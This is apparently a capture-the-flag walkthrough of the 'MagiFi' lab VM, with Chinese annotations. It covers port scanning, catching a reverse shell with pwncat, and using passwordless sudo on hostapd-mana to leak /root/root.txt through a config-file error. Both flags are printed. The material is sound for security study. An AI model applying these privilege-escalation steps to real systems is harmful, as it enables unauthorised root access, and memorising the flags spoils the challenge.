13 packets received by filter, 0 packets dropped by kernel Ending arp-scan 1.10.0: 256 hosts scanned in 1.936 seconds (132.23 hosts/sec). 4 responded ❯ export ip=192.168.60.181 ❯ rustscan -a $ip .----. .-. .-. .----..---. .----. .---. .--. .-. .-. | {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| | | .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ | `-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-' The Modern Day Port Scanner. ________________________________________ : http://discord.skerritt.blog : : https://github.com/RustScan/RustScan : -------------------------------------- RustScan: Because guessing isn't hacking.
[~] The config file is expected to be at "/home/Pepster/.rustscan.toml" [!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers [!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'. Open 192.168.60.181:22 Open 192.168.60.181:80 [~] Starting Script(s) [~] Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-02-12 17:39 CST Initiating ARP Ping Scan at 17:39 Scanning 192.168.60.181 [1 port] Completed ARP Ping Scan at 17:39, 0.11s elapsed (1 total hosts) Initiating Parallel DNS resolution of 1 host. at 17:39 Completed Parallel DNS resolution of 1 host. at 17:39, 0.01s elapsed DNS resolution of 1 IPs took 0.01s. Mode: Async [#: 3, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0] Initiating SYN Stealth Scan at 17:39 Scanning 192.168.60.181 [2 ports] Discovered open port 22/tcp on 192.168.60.181 Discovered open port 80/tcp on 192.168.60.181 Completed SYN Stealth Scan at 17:39, 0.05s elapsed (2 total ports) Nmap scan report for 192.168.60.181 Host is up, received arp-response (0.00075s latency). Scanned at 2025-02-12 17:39:11 CST for 0s PORT STATE SERVICE REASON 22/tcp open ssh syn-ack ttl 64 80/tcp open http syn-ack ttl 64 MAC Address: 08:00:27:F7:62:1F (Oracle VirtualBox virtual NIC) Read data files from: /usr/share/nmap Nmap done: 1 IP address (1 host up) scanned in 0.37 seconds Raw packets sent: 3 (116B) | Rcvd: 3 (116B)
❯ pwncat-cs -lp 4444 [18:02:15] Welcome to pwncat 🐈! __main__.py:164 [18:08:42] received connection from 192.168.60.181:55726 bind.py:84 [18:08:43] 0.0.0.0:4444: upgrading from /usr/bin/busybox to manager.py:957 /usr/bin/bash 192.168.60.181:55726: registered new host w/ db manager.py:957 (local) pwncat$ (remote) harry_potter@MagiFi:/home/harry_potter/Hogwarts_web$
发现用户拥有sudo权限
好像都是关于无线的
用户提权
先拿个user
1 2 3 4 5 6 7 8 9 10 11
(remote) harry_potter@MagiFi:/home/harry_potter/Hogwarts_web$ sudo -l Matching Defaults entries for harry_potter on MagiFi: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User harry_potter may run the following commands on MagiFi: (root) NOPASSWD: /usr/sbin/aireplay-ng, /usr/sbin/airmon-ng, /usr/sbin/airodump-ng, /usr/bin/airdecap-ng, /usr/bin/hostapd-mana (remote) harry_potter@MagiFi:/home/harry_potter$ cat user.txt hogwarts{ea4bc74f09fb69771165e57b1b215de9}
remote) harry_potter@MagiFi:/home/harry_potter$ sudo hostapd-mana --help hostapd-mana: invalid option -- '-' hostapd-mana v2.6 User space daemon for IEEE 802.11 AP management, IEEE 802.1X/WPA/WPA2/EAP/RADIUS Authenticator Copyright (c) 2002-2016, Jouni Malinen <[email protected]> and contributors -------------------------------------------------- MANA https://github.com/sensepost/hostapd-mana By @singe ([email protected]) Original MANA EAP by Ian ([email protected]) Original karma patches by Robin Wood - [email protected] Original EAP patches by Brad Antoniewicz @brad_anton Sycophant by Michael Kruger @_cablethief usage: hostapd [-hdBKtv] [-P <PID file>] [-e <entropy file>] \ [-g <global ctrl_iface>] [-G <group>]\ [-i <comma-separated list of interface names>]\ <configuration file(s)>
options: -h show this usage -d show more debug messages (-ddfor even more) -B run daemon in the background -e entropy file -g global control interface path -G group for control interfaces -P PID file -K include key data in debug messages -i list of interface names to use -S start all the interfaces synchronously -t include timestamps in some debug messages -v show hostapd version
(remote) harry_potter@MagiFi:/home/harry_potter/Hogwarts_web$ sudo hostapd-mana -dd /root/root.txt random: Trying to read entropy from /dev/random Configuration file: /root/root.txt Line 1: invalid line 'hogwarts{5ed0818c0181fe97f744d7b1b51dd9c7}' 1 errors found in configuration file '/root/root.txt' Failed to set up interface with /root/root.txt hostapd_init: free iface 0x55be46caa340 Failed to initialize interface
Root提权
再次信息收集后发现在tom.riddle家目录下有个隐藏的suid权限图片
1 2 3 4 5 6 7 8 9 10 11
(remote) harry_potter@MagiFi:/home/tom.riddle$ ls -la total 44 drwxr-xr-x 3 tom.riddle tom.riddle 4096 Feb 4 09:57 . drwxr-xr-x 7 root root 4096 Sep 27 11:46 .. lrwxrwxrwx 1 root root 9 Sep 27 10:21 .bash_history -> /dev/null -rw-r--r-- 1 tom.riddle tom.riddle 220 Feb 25 2020 .bash_logout -rw-r--r-- 1 tom.riddle tom.riddle 3771 Feb 25 2020 .bashrc drwx------ 2 tom.riddle tom.riddle 4096 Feb 4 09:57 .cache -rwsr-x--x 1 root tom.riddle 17136 Feb 12 10:19 .horcrux.png -rw-r--r-- 1 tom.riddle tom.riddle 807 Feb 25 2020 .profile
(remote) harry_potter@MagiFi:/home/tom.riddle$ /usr/bin/xxd_horcrux -r .horcrux.png -O 1 Not every wizards can use or destroy a Horcrux! 并非所有的巫师都能使用或摧毁魂器！
